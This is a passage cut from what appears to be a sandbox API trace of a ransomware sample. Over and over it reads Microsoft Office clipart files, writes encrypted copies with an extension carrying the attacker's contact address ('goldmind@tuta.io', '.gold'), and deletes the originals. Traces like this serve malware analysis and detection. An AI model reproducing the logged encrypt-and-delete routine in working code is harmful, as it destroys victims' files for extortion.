Office\\CLIPART\\PUB60COR\\J0200383.WMF") returned 63 [0115.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF") returned 63 [0115.265] lstrlenW (lpString=".doc") returned 4 [0115.265] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.265] lstrlenW (lpString=".docx") returned 5 [0115.265] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0115.265] lstrlenW (lpString=".pdf") returned 4 [0115.265] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.265] lstrlenW (lpString=".xls") returned 4 [0115.265] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.265] lstrlenW (lpString=".xlsx") returned 5 [0115.265] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0115.265] lstrlenW (lpString=".ppt") returned 4 [0115.265] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF") returned 63 [0115.265] lstrlenW (lpString=".zip") returned 4 [0115.265] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.265] lstrlenW (lpString=".rar") returned 4 [0115.265] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.265] lstrlenW (lpString=".bz2") returned 4 [0115.265] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.265] lstrlenW (lpString=".7z") returned 3 [0115.265] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF") returned 63 [0115.265] lstrlenW (lpString=".dbf") returned 4 [0115.265] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF") returned 63 [0115.265] lstrlenW (lpString=".1cd") returned 4 [0115.265] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF") returned 63 [0115.265] lstrlenW (lpString=".jpg") returned 4 [0115.265] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF") returned 63 [0115.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF") returned 63 [0115.265] lstrlenW (lpString=".doc") returned 4 [0115.265] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.265] lstrlenW (lpString=".docx") returned 5 [0115.265] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0115.265] lstrlenW (lpString=".pdf") returned 4 [0115.265] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.265] lstrlenW (lpString=".xls") returned 4 [0115.265] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.266] lstrlenW (lpString=".xlsx") returned 5 [0115.266] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0115.266] lstrlenW (lpString=".ppt") returned 4 [0115.266] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF") returned 63 [0115.266] lstrlenW (lpString=".zip") returned 4 [0115.266] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.266] lstrlenW (lpString=".rar") returned 4 [0115.266] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.266] lstrlenW (lpString=".bz2") returned 4 [0115.266] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.266] lstrlenW (lpString=".7z") returned 3 [0115.266] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF") returned 63 [0115.266] lstrlenW (lpString=".dbf") returned 4 [0115.266] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF") returned 63 [0115.266] lstrlenW (lpString=".1cd") returned 4 [0115.266] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF") returned 63 [0115.266] lstrlenW (lpString=".jpg") returned 4 [0115.266] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.266] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0115.266] lstrlenW (lpString="J0215709.WMF") returned 12 [0115.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215709.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0115.371] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=9290) returned 1 [0115.371] CloseHandle (hObject=0x198) returned 1 [0115.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215709.wmf")) returned 0x20 [0115.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215709.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215709.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0115.372] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.372] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215709.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0115.372] GetLastError () returned 0x0 [0115.372] ReadFile (in: hFile=0x198, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x244a, lpOverlapped=0x0) returned 1 [0115.404] WriteFile (in: hFile=0x194, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x2450, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x2450, lpOverlapped=0x0) returned 1 [0115.405] ReadFile (in: hFile=0x198, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.405] WriteFile (in: hFile=0x194, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0115.405] SetEndOfFile (hFile=0x194) returned 1 [0115.460] CloseHandle (hObject=0x194) returned 1 [0115.460] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.460] SetEndOfFile (hFile=0x198) returned 1 [0115.724] CloseHandle (hObject=0x198) returned 1 [0115.724] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.753] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215709.wmf")) returned 1 [0115.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF") returned 63 [0115.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF") returned 63 [0115.788] lstrlenW (lpString=".doc") returned 4 [0115.788] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.788] lstrlenW (lpString=".docx") returned 5 [0115.788] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0115.788] lstrlenW (lpString=".pdf") returned 4 [0115.788] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.788] lstrlenW (lpString=".xls") returned 4 [0115.788] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.788] lstrlenW (lpString=".xlsx") returned 5 [0115.788] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0115.788] lstrlenW (lpString=".ppt") returned 4 [0115.788] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF") returned 63 [0115.788] lstrlenW (lpString=".zip") returned 4 [0115.788] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.788] lstrlenW (lpString=".rar") returned 4 [0115.788] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.788] lstrlenW (lpString=".bz2") returned 4 [0115.788] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.789] lstrlenW (lpString=".7z") returned 3 [0115.789] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF") returned 63 [0115.789] lstrlenW (lpString=".dbf") returned 4 [0115.789] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF") returned 63 [0115.789] lstrlenW (lpString=".1cd") returned 4 [0115.789] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF") returned 63 [0115.789] lstrlenW (lpString=".jpg") returned 4 [0115.789] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF") returned 63 [0115.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF") returned 63 [0115.789] lstrlenW (lpString=".doc") returned 4 [0115.789] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.789] lstrlenW (lpString=".docx") returned 5 [0115.789] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0115.789] lstrlenW (lpString=".pdf") returned 4 [0115.789] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.789] lstrlenW (lpString=".xls") returned 4 [0115.789] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.789] lstrlenW (lpString=".xlsx") returned 5 [0115.789] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0115.789] lstrlenW (lpString=".ppt") returned 4 [0115.789] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF") returned 63 [0115.789] lstrlenW (lpString=".zip") returned 4 [0115.789] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.789] lstrlenW (lpString=".rar") returned 4 [0115.789] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.789] lstrlenW (lpString=".bz2") returned 4 [0115.789] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.789] lstrlenW (lpString=".7z") returned 3 [0115.789] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF") returned 63 [0115.789] lstrlenW (lpString=".dbf") returned 4 [0115.789] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF") returned 63 [0115.789] lstrlenW (lpString=".1cd") returned 4 [0115.789] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF") returned 63 [0115.789] lstrlenW (lpString=".jpg") returned 4 [0115.789] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.789] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0115.789] lstrlenW (lpString="J0217262.WMF") returned 12 [0115.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217262.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0115.801] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=5252) returned 1 [0115.801] CloseHandle (hObject=0x3d0) returned 1 [0115.801] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217262.wmf")) returned 0x20 [0115.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217262.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0115.806] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.806] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217262.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0115.807] GetLastError () returned 0x0 [0115.807] ReadFile (in: hFile=0x3d0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x1484, lpOverlapped=0x0) returned 1 [0115.808] WriteFile (in: hFile=0x230, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x1490, lpOverlapped=0x0) returned 1 [0115.810] ReadFile (in: hFile=0x3d0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.810] WriteFile (in: hFile=0x230, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0115.810] SetEndOfFile (hFile=0x230) returned 1 [0115.810] CloseHandle (hObject=0x230) returned 1 [0115.810] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.810] SetEndOfFile (hFile=0x3d0) returned 1 [0115.812] CloseHandle (hObject=0x3d0) returned 1 [0115.812] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.812] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217262.wmf")) returned 1 [0115.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF") returned 63 [0115.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF") returned 63 [0115.813] lstrlenW (lpString=".doc") returned 4 [0115.813] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.813] lstrlenW (lpString=".docx") returned 5 [0115.813] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0115.813] lstrlenW (lpString=".pdf") returned 4 [0115.813] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.813] lstrlenW (lpString=".xls") returned 4 [0115.813] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.813] lstrlenW (lpString=".xlsx") returned 5 [0115.813] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0115.813] lstrlenW (lpString=".ppt") returned 4 [0115.813] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF") returned 63 [0115.813] lstrlenW (lpString=".zip") returned 4 [0115.813] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.813] lstrlenW (lpString=".rar") returned 4 [0115.813] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.814] lstrlenW (lpString=".bz2") returned 4 [0115.814] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.814] lstrlenW (lpString=".7z") returned 3 [0115.814] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF") returned 63 [0115.814] lstrlenW (lpString=".dbf") returned 4 [0115.814] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF") returned 63 [0115.814] lstrlenW (lpString=".1cd") returned 4 [0115.814] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF") returned 63 [0115.814] lstrlenW (lpString=".jpg") returned 4 [0115.814] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF") returned 63 [0115.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF") returned 63 [0115.814] lstrlenW (lpString=".doc") returned 4 [0115.814] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.814] lstrlenW (lpString=".docx") returned 5 [0115.814] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0115.814] lstrlenW (lpString=".pdf") returned 4 [0115.814] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.814] lstrlenW (lpString=".xls") returned 4 [0115.814] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.814] lstrlenW (lpString=".xlsx") returned 5 [0115.814] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0115.814] lstrlenW (lpString=".ppt") returned 4 [0115.814] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF") returned 63 [0115.814] lstrlenW (lpString=".zip") returned 4 [0115.814] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.814] lstrlenW (lpString=".rar") returned 4 [0115.814] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.814] lstrlenW (lpString=".bz2") returned 4 [0115.814] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.814] lstrlenW (lpString=".7z") returned 3 [0115.814] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF") returned 63 [0115.814] lstrlenW (lpString=".dbf") returned 4 [0115.814] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF") returned 63 [0115.814] lstrlenW (lpString=".1cd") returned 4 [0115.814] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF") returned 63 [0115.814] lstrlenW (lpString=".jpg") returned 4 [0115.814] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.814] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0115.814] lstrlenW (lpString="J0217302.WMF") returned 12 [0115.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217302.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0115.815] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=3482) returned 1 [0115.815] CloseHandle (hObject=0x3d0) returned 1 [0115.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217302.wmf")) returned 0x20 [0115.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217302.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0115.816] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.816] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217302.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0115.817] GetLastError () returned 0x0 [0115.817] ReadFile (in: hFile=0x3d0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0xd9a, lpOverlapped=0x0) returned 1 [0115.818] WriteFile (in: hFile=0x230, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xda0, lpOverlapped=0x0) returned 1 [0115.818] ReadFile (in: hFile=0x3d0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.818] WriteFile (in: hFile=0x230, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0115.819] SetEndOfFile (hFile=0x230) returned 1 [0115.819] CloseHandle (hObject=0x230) returned 1 [0115.819] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.819] SetEndOfFile (hFile=0x3d0) returned 1 [0115.820] CloseHandle (hObject=0x3d0) returned 1 [0115.820] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.821] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217302.wmf")) returned 1 [0115.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF") returned 63 [0115.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF") returned 63 [0115.822] lstrlenW (lpString=".doc") returned 4 [0115.822] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.822] lstrlenW (lpString=".docx") returned 5 [0115.822] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0115.822] lstrlenW (lpString=".pdf") returned 4 [0115.822] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.822] lstrlenW (lpString=".xls") returned 4 [0115.822] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.822] lstrlenW (lpString=".xlsx") returned 5 [0115.822] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0115.822] lstrlenW (lpString=".ppt") returned 4 [0115.822] lstrcmpiW 